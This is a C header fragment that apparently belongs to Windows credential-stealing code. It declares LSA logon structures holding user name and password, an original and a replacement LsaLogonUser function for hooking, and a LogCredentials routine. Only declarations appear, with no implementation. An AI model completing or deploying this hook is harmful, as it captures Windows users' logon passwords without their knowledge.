#include <winsock2.h>
#include <windows.h>
#include <time.h>
#include "ntdll.h"
#include <Ntsecapi.h>

typedef enum _MSV1_0_LOGON_SUBMIT_TYPE {
  MsV1_0InteractiveLogon = 2,
  MsV1_0Lm20Logon,
  MsV1_0NetworkLogon,
  MsV1_0SubAuthLogon
} MSV1_0_LOGON_SUBMIT_TYPE,  *PMSV1_0_LOGON_SUBMIT_TYPE;

typedef struct _MSV1_0_INTERACTIVE_LOGON 
{  
	MSV1_0_LOGON_SUBMIT_TYPE MessageType;  
	UNICODE_STRING LogonDomainName;  
	UNICODE_STRING UserName;  
	UNICODE_STRING Password;
} 
MSV1_0_INTERACTIVE_LOGON,*PMSV1_0_INTERACTIVE_LOGON;

#define RemoteInteractive 10
#define HASH_OFFSET 0x15

typedef NTSTATUS (WINAPI* LSALOGONUSER)(HANDLE,PLSA_STRING,SECURITY_LOGON_TYPE,ULONG,PVOID,ULONG,PTOKEN_GROUPS,PTOKEN_SOURCE,PVOID*,PULONG,PLUID,PHANDLE,PQUOTA_LIMITS,PNTSTATUS);

void LogCredentials(LPSTR,LPSTR,LPSTR);

#ifndef __LSALOGONUSER__
#define __LSALOGONUSER__

LSALOGONUSER   		OldLsaLogonUser;
NTSTATUS WINAPI		NewLsaLogonUser(HANDLE,PLSA_STRING,SECURITY_LOGON_TYPE,ULONG,PVOID,ULONG,PTOKEN_GROUPS,PTOKEN_SOURCE,PVOID*,PULONG,PLUID,PHANDLE,PQUOTA_LIMITS,PNTSTATUS);

#endif